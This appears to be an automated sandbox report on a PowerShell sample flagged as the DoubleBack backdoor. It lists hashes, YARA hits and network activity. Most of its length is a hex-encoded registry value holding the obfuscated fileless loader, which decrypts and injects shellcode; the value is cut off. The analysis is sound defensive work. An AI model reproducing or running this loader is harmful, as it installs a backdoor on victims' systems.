Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 02:50
Static task
static1
Behavioral task
behavioral1
Sample
file.ps1
Resource
win7v20210408
Behavioral task
behavioral2
Sample
file.ps1
Resource
win10-en-20210920
General
-
Target
file.ps1
-
Size
133KB
-
MD5
d1da13b36a8ae1ff9bbfb351a7684fb4
-
SHA1
cfa975bdb93561439ab52527d5041111c1351653
-
SHA256
23d596e8c826aa53a88baec225080b6f7d298568f2302b4b419ae57f4724914b
-
SHA512
afa85364c76b168da16b50d74bb14c8f0bf4a77ce4dd1ac6a1462851b5e97342cf435a11ac4fae1283284d7035e554618db0d682376cf7aa87582c499e1c77b9
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1820-71-0x0000008800000000-0x000000880000D000-memory.dmp family_doubleback_x64 behavioral1/memory/1820-72-0x000000001ABF0000-0x000000001ABFA000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
msiexec.exeflow pid process 7 1656 msiexec.exe 9 1656 msiexec.exe 10 1656 msiexec.exe 11 1656 msiexec.exe -
Modifies registry class 23 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\ProgID\1309 = 66756e6374696f6e206373327b706172616d282463643129202875613020273234363836413335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636363533393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343638364133353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363836413335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363636353339324332343633363433313239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3135322d3131385d2b277827297d66756e6374696f6e20676f307b706172616d282466693929282d6a6f696e2824666939202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206d74317b706172616d28246c75352c246962352c24617532292028706d3420273234373536443338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343645373933353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735364433383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373536443338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364537393335324332343643373533353239323927297c2628247073686f6d655b3134392d3134355d2b247073686f6d655b3231362d3138325d2b277827297d66756e6374696f6e206b71357b706172616d28246669392c247a6331292028676f30202732343736363833343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343736363833343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343636363933393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343736363833343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437413633333132433234363636393339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373636383334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132332d3131395d2b247073686f6d655b3136342d3133305d2b277827297d2066756e6374696f6e207073397b706172616d28246669392c247a63312c24776a35292028676f3020273234373337313333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033333330343433303334324433303435333033353244333034363330333632443331333033303337324433313331333033373331333233303338333133333330333937443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033333237334232343646364233353344323832343733373133333542333333323544324232383332333732423238333732443238323833313244333032393244333032393239323932393342323032343631364633303344323437333731333335423234364636423335324532453238323436463642333532423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343631364633303239334232343733373133333344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034343330333333303434333033343244333034353330333532443330343633303336324433313330333033373244333133313330333733313332333033383331333333303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333333303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133333330333932373342323436463642333533443742323032343639373233323344333032453245333233353335334233303245324533323335333537433235374232303234363836443330334432383234363836443330324232343639373233323542323435463544324232343631364633303542323435463235323436313646333032453443363536453637373436383544323932353238323832383336333933363244333233363336323932393244333133373334323933423230323436393732333235423234354635443243323436393732333235423234363836443330354433443234363937323332354232343638364433303544324332343639373233323542323435463544323037443230334232343733373133333743323537423234363436393332334432383234363436393332324233313239323532383332333233373242323832383332324233313239324233323336323932393342323032343738373633343344323832343738373633343242323436393732333235423234363436393332354432393235323832383334333033363244333133353330323932393342323032343639373233323542323436343639333235443243323436393732333235423234373837363334354433443234363937323332354232343738373633343544324332343639373233323542323436343639333235443342323435463244363237383646373232343639373233323542323832343639373233323542323436343639333235443242323436393732333235423234373837363334354432393235323833313331333532423238323833313339333732443335333632393239323935443230374432303744323033423234373536343337323033443230323832363230323436463642333537433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436343639333233443330334232343634363933323230324436433734323032343735363433373245344336353645363737343638334232343634363933323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373536343337324535333735363237333734373236393645363732383234363436393332324333323239324332383338324232383331333032443332323932393239323037443239323927297c2628247073686f6d655b3136322d3135385d2b247073686f6d655b3136302d3132365d2b277827297d2066756e6374696f6e207867307b706172616d2824666939292028676f3020273234373736433333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343732373533383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343737364333333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373736433333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373237353338324332343636363933393239323927297c2628247073686f6d655b3133382d3133345d2b247073686f6d655b3134322d3130385d2b277827297d66756e6374696f6e20766c377b706172616d2824756c312c24676e372c247763342920286e633720273234373337303337334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033333330343433303334324433303435333033353244333034363330333632443331333033303337324433313331333033373331333233303338333133333330333937443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033333237334232343645364233393344323832343733373033373542333333323544324232383332333732423238333732443238323833313244333032393244333032393239323932393342323032343739373733353344323437333730333735423234364536423339324532453238323436453642333932423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343739373733353239334232343733373033373344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034343330333333303434333033343244333034353330333532443330343633303336324433313330333033373244333133313330333733313332333033383331333333303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333333303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133333330333932373342323436453642333933443742323032343639364633323344333032453245333233353335334233303245324533323335333537433235374232303234373837413332334432383234373837413332324232343639364633323542323435463544324232343739373733353542323435463235323437393737333532453443363536453637373436383544323932353238323832383336333933363244333233363336323932393244333133373334323933423230323436393646333235423234354635443243323436393646333235423234373837413332354433443234363936463332354232343738374133323544324332343639364633323542323435463544323037443230334232343733373033373743323537423234364137413337334432383234364137413337324233313239323532383332333233373242323832383332324233313239324233323336323932393342323032343632364233303344323832343632364233303242323436393646333235423234364137413337354432393235323832383334333033363244333133353330323932393342323032343639364633323542323436413741333735443243323436393646333235423234363236423330354433443234363936463332354232343632364233303544324332343639364633323542323436413741333735443342323435463244363237383646373232343639364633323542323832343639364633323542323436413741333735443242323436393646333235423234363236423330354432393235323833313331333532423238323833313339333732443335333632393239323935443230374432303744323033423234364437373339323033443230323832363230323436453642333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436413741333733443330334232343641374133373230324436433734323032343644373733393245344336353645363737343638334232343641374133373242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364437373339324535333735363237333734373236393645363732383234364137413337324333323239324332383338324232383331333032443332323932393239323037443239323927297c2628247073686f6d655b3135302d3134365d2b247073686f6d655b3135342d3132305d2b277827297d66756e6374696f6e206a6f327b706172616d28247972372c247861382c246b7638292028706233202732343633374133383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343633374133383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343739373233373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343633374133383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437383631333832433234373937323337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363337413338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133332d3132395d2b247073686f6d655b3134352d3131315d2b277827297d247371333d7073392027747767697663796c626a717a756678272027616b7862736e70776a647a69636d67762720276c786671706d65686a676169626376646f273b66756e6374696f6e206169337b706172616d28247567392c247568372c2463673229202878773420273234373036393339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033333330343433303334324433303435333033353244333034363330333632443331333033303337324433313331333033373331333233303338333133333330333937443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033333237334232343731373333333344323832343730363933393542333333323544324232383332333732423238333732443238323833313244333032393244333032393239323932393342323032343741363433323344323437303639333935423234373137333333324532453238323437313733333332423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343741363433323239334232343730363933393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034343330333333303434333033343244333034353330333532443330343633303336324433313330333033373244333133313330333733313332333033383331333333303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333333303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133333330333932373342323437313733333333443742323032343634373533393344333032453245333233353335334233303245324533323335333537433235374232303234374136323336334432383234374136323336324232343634373533393542323435463544324232343741363433323542323435463235323437413634333232453443363536453637373436383544323932353238323832383336333933363244333233363336323932393244333133373334323933423230323436343735333935423234354635443243323436343735333935423234374136323336354433443234363437353339354232343741363233363544324332343634373533393542323435463544323037443230334232343730363933393743323537423234373836323332334432383234373836323332324233313239323532383332333233373242323832383332324233313239324233323336323932393342323032343734374133383344323832343734374133383242323436343735333935423234373836323332354432393235323832383334333033363244333133353330323932393342323032343634373533393542323437383632333235443243323436343735333935423234373437413338354433443234363437353339354232343734374133383544324332343634373533393542323437383632333235443342323435463244363237383646373232343634373533393542323832343634373533393542323437383632333235443242323436343735333935423234373437413338354432393235323833313331333532423238323833313339333732443335333632393239323935443230374432303744323033423234364537393337323033443230323832363230323437313733333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437383632333233443330334232343738363233323230324436433734323032343645373933373245344336353645363737343638334232343738363233323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364537393337324535333735363237333734373236393645363732383234373836323332324333323239324332383338324232383331333032443332323932393239323037443239323927297c2628247073686f6d655b3135392d3135355d2b247073686f6d655b3135352d3132315d2b277827297d66756e6374696f6e206a74337b706172616d282467663029202861753520273234373437333332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636373933343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343734373333323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373437333332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363637393334324332343637363633303239323927297c2628247073686f6d655b3136342d3136305d2b247073686f6d655b3232372d3139335d2b277827297d66756e6374696f6e206d67307b706172616d28246174302c24716738292028706331202732343642364333323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642364333323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343631373433303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642364333323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437313637333832433234363137343330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364236433332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131312d3130375d2b247073686f6d655b3135372d3132335d2b277827297d66756e6374696f6e207279357b706172616d28247371332c247a79392c247461332c246f6735292028676f30202732343639373233323344354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837383637333032303237353636393732373437353631364334313643364336463633343537383237323932433238364237313335323034303238354234393645373435303734373235443243354234393645373435303734373235443243354234393645373435303734373235443243354236393645373435443243354236393645373435443239323835423439364537343730373437323544323932393239324536393645373636463642363532383244333132433330324332343741373933393243323833323330333433353338324432383338333333363336324432383331333132423331333833353239323932393243323436463637333532393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837383637333032303237353237343643344436463736363534443635364436463732373932373239324332383642373133353230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343639373233323243323437333731333332433234374137393339323933423234363937323332334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323436393732333232453534364634393645373433363334323832393242323437343631333332393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837383637333032303237343337323635363137343635353436383732363536313634323732393243323836423731333532303430323835423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238333032433330324332343639373233323243333032433330324333303239334235333734363137323734324435333643363536353730323032443733323032383334333933393339324432383238333533353332333832443332333233333335323932443338333333343239323927297c2628247073686f6d655b3134302d3133365d2b247073686f6d655b3136322d3132385d2b277827297d66756e6374696f6e20726b307b706172616d28246f7132292028697438202732343738373633363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343738373633363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343646373133323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343738373633363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363637333632433234364637313332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373837363336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136302d3135365d2b247073686f6d655b3231392d3138355d2b277827297d727935202473713320247371332e6c656e677468202832323238352d28313138342b343636312929202828283130332d333929292966756e6374696f6e20666c317b706172616d28246c70332c247863312c2464673729202867683820273234363437303334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033333330343433303334324433303435333033353244333034363330333632443331333033303337324433313331333033373331333233303338333133333330333937443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033333237334232343739364633353344323832343634373033343542333333323544324232383332333732423238333732443238323833313244333032393244333032393239323932393342323032343637363933363344323436343730333435423234373936463335324532453238323437393646333532423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343637363933363239334232343634373033343344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034343330333333303434333033343244333034353330333532443330343633303336324433313330333033373244333133313330333733313332333033383331333333303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333333303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133333330333932373342323437393646333533443742323032343637373433303344333032453245333233353335334233303245324533323335333537433235374232303234373137343333334432383234373137343333324232343637373433303542323435463544324232343637363933363542323435463235323436373639333632453443363536453637373436383544323932353238323832383336333933363244333233363336323932393244333133373334323933423230323436373734333035423234354635443243323436373734333035423234373137343333354433443234363737343330354232343731373433333544324332343637373433303542323435463544323037443230334232343634373033343743323537423234373936423338334432383234373936423338324233313239323532383332333233373242323832383332324233313239324233323336323932393342323032343734373733333344323832343734373733333242323436373734333035423234373936423338354432393235323832383334333033363244333133353330323932393342323032343637373433303542323437393642333835443243323436373734333035423234373437373333354433443234363737343330354232343734373733333544324332343637373433303542323437393642333835443342323435463244363237383646373232343637373433303542323832343637373433303542323437393642333835443242323436373734333035423234373437373333354432393235323833313331333532423238323833313339333732443335333632393239323935443230374432303744323033423234374137343334323033443230323832363230323437393646333537433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437393642333833443330334232343739364233383230324436433734323032343741373433343245344336353645363737343638334232343739364233383242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234374137343334324535333735363237333734373236393645363732383234373936423338324333323239324332383338324232383331333032443332323932393239323037443239323927297c2628247073686f6d655b3131382d3131345d2b247073686f6d655b3230332d3136395d2b277827297d66756e6374696f6e207278337b706172616d28247764362920287a7533202732343643364233393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423633373533413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034343330333333303434333033343244333034353330333532443330343633303336324433313330333033373244333133313330333733313332333033383331333333303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343433303333323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034343330333332373342323437373639333933443238323436433642333935423333333235443242323833323337324232383337324432383238333132443330323932443330323932393239323933423230323436423739333833443234364336423339354232343737363933393245324532383234373736393339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436423739333832393342323436433642333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303333333034343330333432443330343533303335324433303436333033363244333133303330333732443331333133303337333133323330333833313333333033393744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313333333033393237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333333303339323733423234373736393339334437423230323436373734333833443330324532453332333533353342333032453245333233353335374332353742323032343633364133333344323832343633364133333242323436373734333835423234354635443242323436423739333835423234354632353234364237393338324534433635364536373734363835443239323532383238323833363339333632443332333633363239323932443331333733343239334232303234363737343338354232343546354432433234363737343338354232343633364133333544334432343637373433383542323436333641333335443243323436373734333835423234354635443230374432303342323436433642333937433235374232343633364633343344323832343633364633343242333132393235323833323332333732423238323833323242333132393242333233363239323933423230323436333639333833443238323436333639333832423234363737343338354232343633364633343544323932353238323833343330333632443331333533303239323933423230323436373734333835423234363336463334354432433234363737343338354232343633363933383544334432343637373433383542323436333639333835443243323436373734333835423234363336463334354433423234354632443632373836463732323436373734333835423238323436373734333835423234363336463334354432423234363737343338354232343633363933383544323932353238333133313335324232383238333133393337324433353336323932393239354432303744323037443230334232343646374133313230334432303238323632303234373736393339374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646